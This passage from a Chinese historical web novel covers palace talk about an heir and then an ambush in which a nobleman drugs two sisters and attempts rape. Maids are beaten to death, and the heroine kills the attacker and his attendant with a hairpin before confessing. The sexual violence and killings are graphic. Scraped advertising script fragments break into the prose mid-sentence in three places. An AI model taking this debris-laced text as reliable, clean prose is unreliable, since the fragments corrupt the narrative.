说到这里,曹启皇帝嘲讽一笑,“都言南安王太后一心向佛,教育子孙皆是仁善之辈,如今看来真是不可偏听偏信。” 谢太后年轻时候曾和嫁去南方的崔氏太后一起玩过,只是如今很多年未见,并不好对她作何评价。 “好歹,长孙还是被教育得很好的”她道。 说到曹壬,曹启皇帝胸中的愤恨终于平息下来,只是却很是烦闷,明明已经给他们制造了共患难的机会,他和陆氏女却依然毫无进展。 唉!不曾想,之前因为他那份异于常人的毅力和执着而欣赏他,如今却要因为他如此有毅力而让自己苦闷不已。 “母后,朕估计只能从矮个里面挑高个,随便凑合,这大魏或许真要在朕手里完了。” 谢太后不爱听皇帝这种丧气话,忙道;“呸呸呸,收起你的乌鸦嘴,若真选不到合适的,大不了就选个听话的,好好培养就是,怎能动不动就放弃呢?” 曹启皇帝听了,心底一叹,之前选拔过继的太子时,太后也是这么说的,所以选定的前太子就是个很听话的孩子。 可惜,太听话的孩子没有主见,他能听皇帝的话,就能听别人的话,整日摇摆不定的前太子,在犹犹豫豫间生生把自己害死了。 “朕这次不想选听话的,想选个有闯劲的。” 有闯劲的?谢太后一时间不知该不该泼他冷水,这几个藩王公子里,还真扒拉不出一个有闯劲的,除了野心勃勃的曹善和清河王的两位公子,西平王世子和东海王世子皆是痴迷武学的。 西平王世子是要回西域都护府的,此番进洛阳只因皇命难为,为此,西平王已经多次写信催促了。 谢太后内心深处真心觉得:在洛阳做个傀儡皇帝,完全比不上在西域都护府手握重兵占一方为王活得自在,至少在那里没有几个朝臣敢去算计他。 而东海王世子,资质平平就算了,还很容易感情用事,成不了大事。 莫非,他还对南安王长子不死心? 谢太后问:“待慧悟法师从长安回来,哀家再替你打探一二?” 曹启皇帝知曹壬是铁了心皈依佛门的,所以也不想太后再麻烦,于是叹道: “罢了,万事不可强求!” 顿了一下,他又有些不甘心的问:“母后,您说,这世上怎么就真有人对权力毫不动心呢?” 这问题他已经问过很多次了,谢太后此时已经不想再回答,只反问:“你上朝的时候开心吗?” 曹启皇帝摇摇头,每天被那些世家老臣盯着,且还得费尽心思去平衡他们,他如何开心得了? “聪慧如他,又怎会预见不了?”谢太后又问。 曹启皇帝一时语塞,脸上瞬间如霜打的茄子一般。 谢太后看了心疼,于是劝解道:“你别丧气了,大魏自建朝以来,世家和皇权拉扯了一百多年,世家们早就习惯了这种相处方式,所以人们不会舍得轻易去打破这种平衡的。” 如今的世家们都忙着清谈,忙着享受人生,他们不需要厮杀就已经过得很舒坦了,又怎会想为改朝换代再来一波厮杀? 只是,这般粉饰太平之下,却苦了天下百姓,路边白骨无人收,饿殍千里无人问。 这样的大魏,迟早会落在胡人手中。 曹启皇帝道:“看了星火书院的院训,朕已经老去的心,好似又活过来了,不甘心朕学过那么多圣贤之书,却只能看着民生多艰而无动于衷。” 谢太后就知道,他那些丧气话只是一时的,她无需劝说过多,这么多年,他游刃于各大世家中,看似只是个傀儡,世家们却也不能将他如何。 先帝看人的眼光还真是不错,曹启皇帝虽然没有开疆扩土的魄力,也没有特别大的功绩,却也让先帝长年用武后差点灭完的大魏又续了几十年的命。 “你想做什么就去做吧,需要哀家做什么,只管提就是”谢太后道。 曹启皇帝最喜欢听的就是这句话,每次他苦闷不已时,听了这话,心中瞬间熨帖不已,终归还是有人支持自己的。 “多谢母后,孩儿不会放弃的”他一番保证后,再次斗志昂扬地出了永宁宫。 谢太后看着昏黄的宫灯,心中无声一叹,其实她也不知这样的局面还能维持多久,这次外敌入侵,竟然无世家主动请缨,他们当真一点都不在意那些边境的百姓吗? 想来,他日若真有胡人的铁骑踏入洛阳皇宫,也不会有世家愿意来救他们母子吧? 如此这般一想,谢太后愈发能理解曹壬为何不想入东宫了,白马寺是一方净土,无论何人当政,都是平安福地。 陆萸在华亭和沈沅赏鹤期间,又给沈沅找到了一个小目标,就是让她编写儿童读物。 沈沅是一个很有耐心的母亲,她经常给女儿讲小故事,有些是先人所传,但大部分是她自己杜撰的。 陆萸前世没有感受过母爱,今世也没有和嫡母太过亲密,所以看到沈沅耐心陪孩子玩,她也跟着听了几个小故事。 想起陆氏印刷的《启蒙小故事》系列,她就想到了让沈沅尝试把故事写出来。 沈沅听后,也觉得这个目标可行,笑道:“若阿弟知道我也能写书,肯定会很开心, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也不用再替我担心了。” 陆萸也这么认为,沈沅有事情做,就不会只盯着朱太守的后院,自然也不会再得抑郁症了。 她还想到,若以后女子书院能成立,她要邀请沈沅做授课讲师,沈沅的满腹才华,不该被埋没在后宅的一亩三分地里。 陆烈领兵北上后,陆氏一族严阵以待,沈沅就带着孩子离开华亭去山阴找大伯父去了,陆萸则回了建业。 建业城今年的雨水特别充沛,才入三月,就下起了连阴雨。 陆萸清点完账目后,百无聊赖地看着窗外的雨发呆,连日里都是阴沉沉的天,让她的心里莫名惆怅。 今年佛诞日他还会大放异彩吧?届时,他还会愿意舍弃唾手可得的成就,默默无闻的守在自己身后吗? 雨水丝丝缕缕地散落在紫藤花架上,让陆萸愈发愁绪满满,心底的思念也因这份愁绪更加浓厚。 她让三伏拿出曹壬的两幅画,看了又看后,忍不住提笔在《踢毽子的小女孩》那副画上留下: 忽有故人心上过,回首山河已是春。 两处相思同淋雪,此生也曾共白头。 因是春天,她应景做了修改,想到还有一个月就能与他相见,她的心中既期待又紧张。 若他坚守决定不改初心,她和他一起,走遍大魏的河山,尝遍天下的美食。 这么一想,接下来的日子好像更漫长了。 佛诞日在四月初八,陆萸打算三月十八从建业动身前往洛阳,只是,还未开始准备,她就收到了杨蓁蓁的信。 三月二十五是南安王太后的六十岁大寿,杨蓁蓁要随母亲一同到南安王府贺寿,她在信中约陆萸去华彩阁一叙。 虽然二人上次在洛阳华彩阁那次重逢并没有什么可聊的话题,但如今杨蓁蓁来建业,还主动要求见面,陆萸也不好拒绝。 最重要的是,杨蓁蓁再三强调,此次来建业,除了贺寿还要参加她的及笄礼。 于是,陆萸只能把前往洛阳的行程推后了一日。 约定好时间后,陆萸在芝兰院等着杨蓁蓁的到来,这次从北方到建业贺寿的世家不少,范阳卢氏老夫人和南安王太后是姐妹,卢氏子孙也要来贺寿。 银杏是个急性子,才听闻这个消息,立马就对陆萸道:“那个卢公子要来建业,女公子这些日子还是不要出门的好。” 陆萸笑回:“他是来贺寿的,届时宴席上多少美女还不够他看?又怎么会看上我这等姿色?” 银杏却压低声音道:“奴婢可听说了,他人还未至,建业城的女郎就已经想着怎么躲起来,您见过杨女郎后快些去洛阳吧。” 陆萸听了却不甚在意,卢公子就算在洛阳横着走,到了建业也该收敛着才是,毕竟这里还是江东四大世家的地盘。 眼看和杨蓁蓁约好的时间马上就到,建业城的雨却越来越多,华彩阁的生意大受影响,陆萸便想着给几个负责茶点生意的女孩们放两天假。 他们都是陆氏家奴,从未享受过什么假期,一时间忙欣喜地跪在地上答谢。 银杏在一旁笑道:“明日他们不去华彩阁,奴婢却是要去的,三伏妹妹也不用和我抢,你已经陪女公子去了那么多地方,这次该轮到奴婢了。” 陆萸想到华彩阁是公共场合,应该不会有什么危险,三伏这两天好像来例假了,于是笑道:“那你明天也休息一天吧。” 三伏还是经历过上次的事,一刻都不想离开陆萸,奈何她还没坚持,陆婠就来了。 陆婠带来一个消息,和大兄定亲的张文茵也约她明天早上去华彩阁一叙。 之前嫡母魏氏几次去张府询问婚期,张氏长辈皆再三推脱,陆氏姐妹早就对张文茵猜疑了。 张文茵或许是不想嫁,所以故意拖着,又或许是想等大兄定品后,看所授官职再决定嫁不嫁。 无论出于何种原由,在陆氏姐妹看来,张文茵的这种作为皆是让人不齿的。 为解开疑惑,怕她被家长长辈胁迫,所以陆婠曾几次约她见面,想和她当面谈谈,却都被她拒绝了,如今,她竟然主动相邀,这事怎么都透着一股古怪。 陆萸道:“听说江东女郎都在躲卢公子,她怎么不怕?” “我也好奇她此番突然相邀”陆婠一脸郁色。 陆萸思忖片刻,道:“她约的时间和蓁蓁的时间只差半个时辰,明日我们一起去吧,这样也好有个照应,我倒要看看,她到底能找出个什么理由来。” 因一直让大兄成不了亲,所以陆萸心底对张文茵是有气的。 阿姊是世家贵女的典范,想来说不出什么恶言恶语,可她不是。 倘若明日张文茵说出什么侮辱大兄或者侮辱陆氏的理由,她定要狠狠理论一番,把场子找回来。 于是,姐妹最终两商量好,明日带四个部曲前去,这样,三伏就不用跟着了。 73. 第七十三章 惊变 三月十九,依然是个雨天,陆萸和陆婠一起去华彩阁赴约。 车轮碾压在青石板上,车上的銮铃不时发出声响,姐妹俩聊起了次兄陆纯。 陆烈领兵北上,去得比较匆忙,陆纯知道后一直心心念念去北境找大伯父。 如今战事迟迟未了,他终于说服父母,让他以给部曲配送补给的理由北上。 今天早上,他要和江东的朋友作别,明天一早再和陆萸一起走水路离开建业。 聊到他的好友,姐妹俩不约而同地想起了朱慎,他向来性子比较冲动,所以家里人都没有把朱慎的过激行为告诉他,如今陆氏在北方用兵,后方容不得出一丁点的差错。 姐妹俩至华彩阁的时候,除了店里的伙计,没有看到任何顾客,毕竟雨太大,胭脂水粉和首饰都不是生活必需品,没必要大清早冒雨来店里购买。 华采阁二楼的接待室有四间,分别为梅兰竹菊,店里的伙计引陆氏姐妹去竹厅,陆萸犹豫了一下,最终选择了兰厅。 伙计愣了一下,道:“竹厅好,可以看窗外的景致。” 陆萸笑回:“大雨天的,有何景致可看?我喜欢兰花,就选兰厅。” 伙计犹豫了一下,还是带着陆氏姐妹去了兰厅。 坐定后,陆婠悄声问妹妹:“我记得你喜欢海棠花,选哪个厅不都一样吗?” 陆萸今日出门的时候,看到下了一夜还不愿停下的雨,心里莫名有些不安,所以她执意选兰厅。 因为兰厅背后有一间密室,如果遭遇危险可以躲起来,不过她没有和姐姐解释。 她笑道:“我是不喜欢他那谄媚样,所以不想如他的愿。” “你呀,越长越像个小孩”陆婠无奈一笑。 不多时,伙计给姐妹俩上了茶水,还解释因为下雨今日不提供点心。 过了一会,伙计又来给姐妹俩点上香炉,说是因为不能提供点心所以特意点香赔罪的。 陆萸一开始没注意,如今见他进进出出的,才特意留意了一下,发现此人有点像练家子,于是笑问:“今日你们掌柜在吗?” 伙计点香的手顿了一下,才笑回:“掌柜家里有事,今日来不了。” “不是还有个副掌柜吗?还有六钱呢?”陆萸又问。 伙计这下有些紧张了,忙回:“小的前几日才来,并不知副掌柜和六钱去了何处。” 闻言,陆萸心里顿生警惕,副掌柜和六钱其实就是一人,在掌柜有事不能来的时候,六钱会偶尔兼任副掌柜,眼前的伙计看来是生人。 她心中立马有了一番合计,但仍面不改色地笑道:“我们有侍女,就不用你伺候了,先退下吧。” 伙计犹豫了一瞬,最终不情不愿地退下了。 他才退下,陆萸立马低声对陆婠道:“此地不宜久留,我们得想办法离开才是。” 陆婠听后,立马一惊,忙问:“妹妹发现什么了吗?” 陆萸此时心里七上八下的,她想即刻带姐姐出去,但又担心恶徒已经守在外面,她不由自主的将目光看向靠在墙边的博古架。 或许,可以从密室后面的窗子逃生? 她刚想说出逃生计划,不曾想丹桂和银杏竟然突然先后倒下了。 陆婠见状先是大声喊了部曲的领队,刚喊完,她也跟着倒下了。 一切发生的太快,陆萸来不及思考,看到香炉中袅袅上升的雾气,她的头也开始晕了起来。 银杏和丹桂立在香炉旁边,所以最先中毒,陆婠其次,而陆萸最近两感冒鼻塞加上距离远,所以药效没有那么快。 即便如此,此时的她依然觉得头越来越沉。 门外的部曲没有回应,她来不及思考,立即抽出头上的银簪,用力刺向大腿。 剧烈的疼痛让她的大脑瞬间清醒,然而她顾不得疼痛,忙一只手捂住鼻子,一只手提起茶壶快速走过去把香炉浇灭。 直到不再有香雾出来,她才将茶壶中剩下的水浇在银杏和丹桂脸上。 二人双双醒来,见到陆萸,惊恐地问:“奴婢怎么睡着了?” 陆萸没时间和他们解释,忙转身将茶盏里的茶水泼向陆婠。 她此刻在争分夺秒,只盼着能尽快躲进密室逃离这里,道:“阿姊醒来就快些起身,部曲出事了。” 闻言,素来淡定自若的陆婠一脸惊恐:“起身?去哪里?” 陆萸还没来得及解释,兰厅的门应声而开,她对上了一张因为纵欲过度而青白虚肿的年轻的脸。 这张脸的主人,正用一双淫邪的眼,直辣辣地朝陆婠上下打量。 细细看过一遍后,他满意地一笑,“不错,不愧是大魏双殊之一,卢某这一趟来得真值。” 卢某?太尉之子卢奎?姐妹俩闻言不约而同看向彼此,真是怕什么来什么。 如今,陆氏姐妹也能猜到张文茵相邀的目的了,只是陆萸心底还隐隐期待着杨蓁蓁不知道此事,能尽快来华彩阁。 她稳住情绪后,笑着向卢奎行礼“在这里遇到卢公子,真是巧。” 陆奎这才把目光看向陆萸,见陆萸因取了头上的簪子而有些凌乱的头发,笑着和一旁的随从道:“这个胆子够大,我也甚是喜欢,想不到今日竟然可以一举得俩,值,真值。” 他说完,笑得一脸放肆,眼睛毫不遮掩的看着陆萸,好似用眼神就能将她的衣服扒光。 银杏见状,立马过来护在陆萸身前,然后双眼恶狠狠的盯着卢奎。 卢奎用眼神示意一下,随从立马去关门。 陆萸不着痕迹的退到陆婠身旁,“阿姊别怕,我们再拖拖,蓁蓁就该来了。” 陆婠刚刚才醒来,头还有些晕着,低声答:“我听你的。” 言毕,她找了一个位置坐下,才笑道:“早就听闻过卢公子大名,不知卢公子可还习惯江东的气候?” 卢奎听后,不答反问:“这炉子里的香,女公子可闻得习惯?” 陆婠捏紧拳头才忍住破口大骂,淡笑:“味道怪异,不喜欢。” “本来,我想等你们都闻够了香味,再进来的,但想到睡死尸一样的美人,没趣得紧,我就进来了”卢奎一脸轻佻的看着陆婠。 饶是她定力足够好,如今听到如此粗鄙之言,脸色也忍不住变了。 陆萸伸手轻轻拍拍陆婠的手背后,笑着回:“阿姊胆小,卢公子莫要吓到阿姊。” “你胆大?那你先来?想必,你是陆氏庶女吧?之前,有人提议纳你为妾,可我一心想求娶你姐姐,所以拒绝了。” “是吗?那真可惜,我姐姐已经定亲了”陆萸笑回。 “所以,我才想生米煮成熟饭呀!想来,待曹世子听到我和你姐姐今日的香艳之事,定会大方成全我们俩的”卢奎说完,脸上的笑更放肆了。 陆婠已经气急,却一直隐忍着没有骂回去,只能双眼怒气腾腾地看着卢奎。 “卢公子,没听说过,强扭的瓜不甜吗?”陆萸笑问。 “甜不甜,不是应该先尝尝吗?怎么?你迫不及待让我尝?”卢奎反问。 “你怎能如此这般无礼”陆婠怒骂出声。 她骂不出什么恶言恶语,哪怕愤怒得恨不得一刀结果了卢奎,在卢奎看来,因生气而通红的脸颊反而生动极了。 他慢慢踱步走向陆萸,笑回:“你先别急,待我尝过你妹妹甜不甜,再找你,可好?” 银杏却是已经忍无可忍,大喊一声:“粗鄙的畜生”然后扑向卢奎。 其实,不到万不得已,陆萸并不想发生肢体冲突,奈何银杏已经扑上前,她便不能坐以待毙。 只是,待看到卢奎轻轻松松避开银杏,她才惊恐的发现,中毒后的他们虽然醒了,力气却没有恢复。 卢奎看了一眼陆萸受伤的大腿,问:“怎样?你自己脱还是我帮你?” “你休想”陆婠起身挡在了陆萸面前。 她也发现身体虚弱得紧,虽然挡在前面,身体却摇摇晃晃的。 卢奎突然大笑出声,“想不到,我如此有魅力,让姐妹俩都争着伺候,好吧,今日就看看你二人谁伺候的更好” 说着,他看向陆萸:“你若技术比你姐姐好,我也可以破例取庶女为妻。” 陆萸腿上的疼痛未消,耳朵又要听着他不堪入耳的话,心中顿生怒气,一把将陆婠推向丹桂,然后抄起桌上的香炉狠狠砸了出去。 既然避无可避,就奋起反抗吧。 时间过去一半,杨蓁蓁还没来,她已经放弃期待了。 她从来就不是坐以待毙的性格,扔完香炉,她又把茶盏扔出去。 卢奎此时也没耐心陪他们玩,而是让随从上前来拖陆萸。 陆萸不是他的对手,很快就被他按压在地上,她大喊:“你二人拖住卢奎。” 银杏这才和丹桂一起扑向卢奎。 陆萸趴在地上,对陆婠道:“阿姊,你快去转动博古架第三排的白瓷瓶。” 陆婠不知何意,却还是转身走向博古架。 卢奎好像猜到什么,让随从帮忙挣脱了银杏和丹桂,然后快步走上前将陆婠拖了回来。 拉扯间,传来了衣裙被撕裂的声音,刚刚被随从松开的陆萸,起身便见到姐姐无助的被卢奎压在地上,虽奋力抵抗挣扎着,衣服却越来越少。 陆萸心中又恨又怒,冲上去想将簪子扎向卢奎,一旁的随从却松开了抓住银杏的手,转而抓住她,然后将她用力砸向茶几。 “噗通”一声重响,陆萸被砸向茶几后弹回地上,她的额头上瞬间红肿一片。 银杏见状,用尽全力扑向随从,然后双手紧紧抱住随从的大腿,哪怕他用手打她的背,用脚踢她的头,她都不曾松手。 一下又一下,银杏的头被踢得出血,血顺着额头流满整张脸,她却只是闭着眼睛紧紧的抱着随从。 丹桂见状,也从地上爬起,用力去拉扯卢奎,想将他从陆婠身上拉下来,奈何她的力气太小,卢奎反手一挣扎,就把她推向了摆香炉的案几。 她的头砸向案几的尖角,瞬间被砸出了一个大窟窿,然后倒地不起了。 陆萸被砸后,晕乎乎的趴在地上,此刻看到姐姐在挣扎间已经被卢奎打晕,只能躺在地上任他为所欲为,瞬间目眦欲裂,再次捡起簪子爬向卢奎,然后用尽力气扎向卢奎的后背。 卢奎吃痛,立即终于松开了陆婠,口中咒骂:“小贱蹄子,敢伤我,那我今日就先 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 把你办了。” 他转身来抓自己的时候,陆萸不但没逃跑,反而扑向他,死死抱住他的腰,心里只有一个念头,只要她一直缠着他,死命拖住他,他就不能去伤害姐姐了。 就这样,她用了所有的力气死死抱住卢奎不放,卢奎挣扎几下未果后,拳头如雨点般砸向她。 那边银杏终于松开了手,随从想过来帮卢奎,丹桂却从地上爬起来缠住了随从。 不知过了多久,陆萸觉得意识越来越模糊的时候,门被打开了。 进来的不是杨蓁蓁,是陆纯。 陆纯正在和朋友在亭子作别,突然有小厮报陆氏姐妹在华彩阁被人刁难,让他速去解围。 朱慎听后,忙道:“我随你一起去。” 陆纯看了眼好友们,道:“我若突然离去显得礼数不周,你留下来替我招待好他们。” 朱慎听了,便只能留下来陪着。 明日要出发北上,今日陆纯便没带亲随出来,而是让他们留在府里收拾东西。 一个人急匆匆从玄武湖畔骑马赶至彩阁时,因心中焦急万分,他也未曾留意华彩阁内的异样。 站在兰厅门口,他推开门看到屋内景象时,瞬间什么都顾不上了,立马上前将陆萸解救出来,然后抓住卢奎的衣领就是一拳头。 卢奎被陆萸缠住,正想办法奋力挣脱,谁知陆纯突然出现。 他心中大惊,一时回不过神来,生生受了这一拳。 怎么会和原计划有出入呢?原计划,外面都是自己的人,今日陆氏姐妹就算挣扎至死都逃不过自己的掌心才是。 眼看陆纯孔武有力,自己根本不是他的对手,卢奎回过神来,忙求饶:“好汉饶命,小的也还没得手,好汉就放过小的吧。” 陆萸被卢奎打得晕头转向只剩一点气息,虽然被救下,却也只能靠着墙坐着。 她见陆纯还要打卢奎,想到北境的大伯父,忙喊:“阿兄手下留情,带走阿姊要紧。” 陆纯这才去看躺在地上不知生死的陆婠,谁知,这一看他的愤怒反而更甚了,怒气冲天之下,他直接对着卢奎拳脚相加。 “阿兄快停下”陆萸边爬向陆纯边喊。 陆纯却不听,几□□击后,用力将卢奎甩向一边的墙。 “咚”的一声,卢奎应声倒地。 他的随从看到陆纯进来的时候吓得不敢出声,如今忙上前去查看,发现卢奎竟然没气了。 他立马惊呼:“你们杀了卢公子,卢太尉不会绕过你们的。” “阿兄压住他”陆萸大喝。 陆纯原本只想教训一下卢奎,如今真闹出人命,倒也被吓到了,一时间怔怔地看着倒在地上的卢奎,听到她的声音才立马将随从压在地上。 随从被陆纯压趴下,口中却一直喊叫不停,情急之下,陆萸捡起地上的簪子用力插向他的脖子。 只听“噗嗤”一声,像尖锐之物插入西瓜的声音传来,卢奎的随从便不再喊叫,也不再挣扎了。 屋内顿时安静得可怕,陆萸颤抖着松开了握住簪子的手,惊恐的看着死掉的随从,她杀人了! 她竟然杀人了!原来,杀一个人可以这样快。她脸色惨白地环顾了一下四周,脑海中只有一个念头,她若杀了人,手就不干净了,君期会不会不喜欢? 不知过了多久,在陆纯焦急而关切的呼喊声中,她渐渐回过神来,问:“阿兄来的时候,外面可有人阻拦?” 陆纯回:“不曾。” 闻言,陆萸绝望地闭上眼,想出今天这个局的人,真是严谨得可怕,兄妹三人最终一步一步被引入了今天的局,却还只能生生受着。 眼泪滑落,她急声道:“你快去转动博古架第三排白瓷瓶,带走阿姊。” 陆纯再笨,此刻也知道是被人设了圈套,可他不想留下陆萸,问:“那你怎么办?” 陆萸挤出比哭还难看的笑:“你们先走,我来善后,把阿姊送回家后,你立即带人离开建业,不用等我,不要回头。” 陆婠还没有醒,陆纯一个人是带不走两个人的,哪怕可以带走,如果没有看到凶手在现场,还是会有人追上来,兄妹三人,今日注定要留下一个。 而这个人,只能是自己。 密室的门被打开的时候,陆萸听到外面传来朱琳的声音,她看着陆纯,无声的说了一声:“阿兄保重!” 陆纯第一次在陆萸面前落泪,他很想带走她,可他也知道,那样只会让三人都陷入困境,他哭着回:“妹妹保重!” 密室的门最终被合上,陆萸挣扎着爬向银杏,探了探鼻息,已经没有任何气息了。 昨天还为能陪着陆萸来华彩阁而高兴不已的银杏,就这么走了。 想起银杏这么多年的陪伴,陆萸心中既痛又恨,她转身将随从脖颈上的簪子拔出,然后握紧簪子爬向卢奎。 当朱琳、曹姒、杨蓁蓁还有朱慎一行人出现在门口的时候,陆萸朝着他们微微一笑,然后低下头将手中簪子用力插入卢奎的太阳穴。 “噗嗤”一声,卢奎的血迅速飞溅至她的脸上,她却没有擦掉,也没有丝毫恐惧,任由血从脸上缓缓滑落,然后抬头笑看着门口众人,“你们来得真是时候。” 74. 第七十四章 杀人后 杀人这种事,有过第一次,第二次就没有那么可怕了。 趁着卢奎的血还没完全冷却,陆萸只想把自己是凶手这事做实了,今日这个局,陆氏折一人进去,足矣。 她笑着和门口众人说话的时候,早已被卢奎打得面目全非,加上那挂着的血珠,让大家看得甚是惊悚。 曹姒和杨蓁蓁齐声惊叫,朱琳却很稳,她环顾一圈屋内后,边走进来边问:“就你一人吗?” 至此,陆萸便能猜到,引次兄入局的人是她,也只有她对次兄恨之入骨。 她笑着反问:“琳姐姐还想见到谁?” 说着,她举起已经被扯坏的袖子,随意擦了一把脸上的血,才能看清众人的表情。 杨蓁蓁还是一脸震惊,极度震惊下她想不起来要入内;曹姒在刚刚那一声惊叫过后脸色有些惨白,却隐隐透着一股兴奋,跟着朱琳踏入屋内;而朱慎,自出现到现在,一直不曾出声,他看她的眼神有心痛,有愤恨或许还有一丝丝不易察觉的绝望。 看来,他还是那么聪明,才这一会功夫,就已经猜到发生了什么。 看了这一圈,陆萸也大概猜到了,今日的局,无论是何人所设,参与布局的人却很多,牵连甚广,也这因为这样,陆萸也不用担心自己会立即被清算。 她低头看了眼死透的陆奎,其实,他也不过是别人的棋子,螳螂捕蝉黄雀在后罢了。 “阿萸”杨蓁蓁终于出声,却已哽咽到无法继续言语,眼泪随之滑落。 陆萸没有回应她,而是当着众人的面,将簪子从卢奎头上拔了出来,那动作随意得好似拔了一根萝卜,悠闲中还带着一点喜悦。 她自顾自的用袖子细细擦拭簪尖上的血,然后将簪子再次插回头顶。 一气呵成的动作,让朱琳和曹姒看得差点忍不住呕吐。 陆萸却仿若未见,只笑看着朱慎:“叔重,卢太尉之子卢奎欲对我行不轨之事,被我和侍女联手反杀了,我要自首,你替我找丹阳都尉报备吧。” 都尉,负责郡内治安,如今的丹阳都尉是朱慎的叔父。 朱慎闻言却是迟迟未动,只是更加心痛地看着她沉默。 至此时此刻,她怎么还能如此轻松的说着话?明明她的脸已经肿成那样,难道不知道痛吗?她难道不知,一旦上报府衙,她将没有回头路? “阿萸”他颤抖出声,他想说:我带你走可好?可他最终说不出口,离开这里,二人又能去哪里?难道一辈子亡命天涯吗?他没有那份勇气。 陆萸看懂他的未尽之言,感动之下,声音也温柔了一些,“叔重,我腿上有伤,暂时起不来,所以你替我报府衙吧,自首且认罪态度良好的话,我可以少受罪。” “他们不会对你用刑的”朱慎急声回。 陆萸却只是笑笑:“他们会怎么对我,我猜不到,但躺在我面前的人是卢奎,所以认罪的态度应该真诚,不是吗?” 哪怕朱慎心中再痛再不忍,此刻也知道如陆萸所言极是,卢奎身后是卢太尉,所以他不得不替她跑这一趟。 他刚转身,却又折回头快步走入房内,将身上的外袍脱下披在陆萸身上,“阿萸,你在这里等我,我很快就回来。” 自那次在南昌花园和他一番争执后,陆萸对他反感的很,如今见他不顾外人眼光将外袍送给自己,心中又有些许的感动。 她伸手轻轻拉住他的衣袖,“叔重,谢谢你,只是我怕把你的衣服弄脏。” 她那样的小心翼翼,让朱慎更加心痛,忙替她拉紧衣袍后,道:“不怕,今日雨大天凉,不要冻着了。” 陆萸没有松开拉住他的手,看着他,用只有二人能听到的声音道:“待阿兄从北境回来,我让他替我把衣服还给你。” 这一刻,朱慎的心口仿佛被切开了一个口子,那口子往外冒着血,他却不敢用手去擦,从妹妹方才的反应中,他已经猜到,是自己害了好友,更害了眼前的女孩。 “阿萸”再次出声时,他颤抖到说不出话来。 陆萸此时只想再堵一次他的良知,根本不在乎曹姒会如何对付自己,所以柔声回:“叔重,多年后,你若还记得我,给我坟头上送几朵花。” 闻言,朱慎突然伸手将陆萸揽入怀中,哽咽着问:“阿萸喜欢什么花?” 陆萸头上到处是伤,虽然他只是轻轻一揽,却依然让她头晕目眩,顿了一会,才回“我喜欢海棠花,学堂里那株海棠花就是我的最爱。” “好,我给你送海棠花”朱慎沉声答。 二人旁若无人的举动,终于把曹姒激怒了,她大喝出声,“朱慎,你知道自己在做什么吗?” 朱慎没有搭理曹姒,而是轻轻松开陆萸,然后轻柔仔细地替她整理了衣袍和头发,然后起身看着杨蓁蓁,“还请女公子暂时替我守着阿萸,不要让有心人害了她。” 此刻,杨蓁蓁也已经回过神来,忙点头,“你先去吧,这里有我守着。” 言毕,她带着侍女快步走入屋内,然后在陆萸身旁坐下。 朱琳自发现陆纯不在屋内后,既震惊于陆萸的胆量,又心生万分不甘,明明计划得天衣无缝,怎么会漏了他呢? 如今见朱慎要去府衙,她忙喊:“阿兄为何要蹚这浑水?” 朱慎却仿若未闻,转身快速离开了兰厅。 朱琳见状,既生气又愤慨,忙追了出去,站在二楼,大喊:“阿兄,她心里没有你,你根本就不值得。” 已经走到华彩阁大门口的朱慎听了,脚步一顿,却最终没有回头,快步走了出去。 她心里没有自己,他又如何看不出来,可这世间的感情又如何用值不值得来衡量呢?他只恨自己发现的太晚,终究错过了她。 今日,他终于第一次随心所欲地做一件事,这样的畅快,又岂是值得二字能形容的? 陆纯带着陆婠快速从密室后窗一跃而下后,不敢走大道,而是一直顺着河畔的杨柳小道从陆宅后门回的家。 他到家后,快速和母亲魏氏说了今天发生的一切,魏氏虽然被吓得不轻,却也赶紧让人去喊夫君陆奂。 陆奂听完事情的始末后,虽然心中也恨今日设局之人,却知轻重缓急,立即让陆纯点兵北上了。 陆纯就这样悄无声息地离开了建业。 待陆氏悄悄布置好一切,都尉府就差人来传陆奂去府衙参与堂审了。 陆萸作为陆氏女,且父亲是丹阳太守,衙役对她还算客气,见她腿伤严重,缉拿的时候还让她坐着牛车去府衙。 府衙大堂,陆奂坐在一侧,他需要回避,所以只能旁听,不能直接参与审问。 丹阳都尉的职业生涯中也是第一次遇到这种命案,头疼的很,可该走的流程还是要走,该问的还是要问清楚,该让人记录的也不敢有所遗漏。 陆萸态度很好,他问什么她就答什么,她答的很认真,甚至把案发过程描述的非常细致。 “所以,你伙同两位侍女将卢公子和他的随从一起杀了?”朱都尉问。 ”正是,臣女当时害怕极了,只想快速挣脱他的禁锢,所以下手没个轻重,纯属误杀”陆萸答。 “曹翁主和朱女郎言,你是当着他们的面行凶的,可那时朱公子已经没有反抗之力了。” “他们站在门口,看不清内里的情况,实际上是卢公子虽然趴在地上,却正要抓着臣女的腿爬起来,臣女害怕再次被他扑倒,所以才用簪子乱扎的,纯属扎偏了地方”陆萸答。 朱都尉看了一眼刚刚从陆萸头上取下,如今正躺在盘中的凶器,对陆萸的胆量忍不住佩服起来。 杀过人的簪子还能戴回头上,且杀过人后还能如此镇定自若地回问题,这陆氏不知道是怎么教养儿女的,也太生猛吧? 思及此,他不由自主看向坐在一旁的陆奂,二人同僚多年,知道这上司是最为和气软和的一个人,怎么生的女儿却 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 如此另类呢? 陆奂自进府衙后,一直安静地看着堂下的陆萸,他其实不喜欢这个女儿,她的出生让他和魏氏的感情更难修复,且她小时候胆小木讷,长大后又性格太刚烈,平时行事又太过另类。 在他看来,比起精心养育且早有美名在外的嫡女,堂下的幼女差得不是一点半点,奈何父亲和三弟都对她赞善有加,他便只能随她去。 只是,经过今日之事,他终于对她有些许改观,即便不如嫡□□秀,她也是个善良且有大局观的女孩,她的一腔孤勇也正好救了次子和嫡女。 于是,他不在意朱都尉不明所以的目光,看着陆萸道:“都尉问什么,你就答什么,不要隐瞒也不要因害怕而随意承认。” 陆萸听了,忙行礼回:“女儿知道。” 之后,朱都尉又问了一些问题,陆萸知无不言言无不尽,确定没有什么遗漏的后,她就被收押进府衙大牢了。 陆萸没想过,穿越一场还有机会进地牢,好在,她的出身在这里,住的牢房虽然光线不好却也还算干净,最主要她还能住单间。 夜里,陆奂带着木槿来看她,木槿给她上药时,她避开了脸上的位置。 陆奂道:“这里环境差,小心伤口恶化。” 陆萸笑回:“脸上的伤越可怖越好,我还得留着给刺史看,还得留着平息卢氏的怒火。” 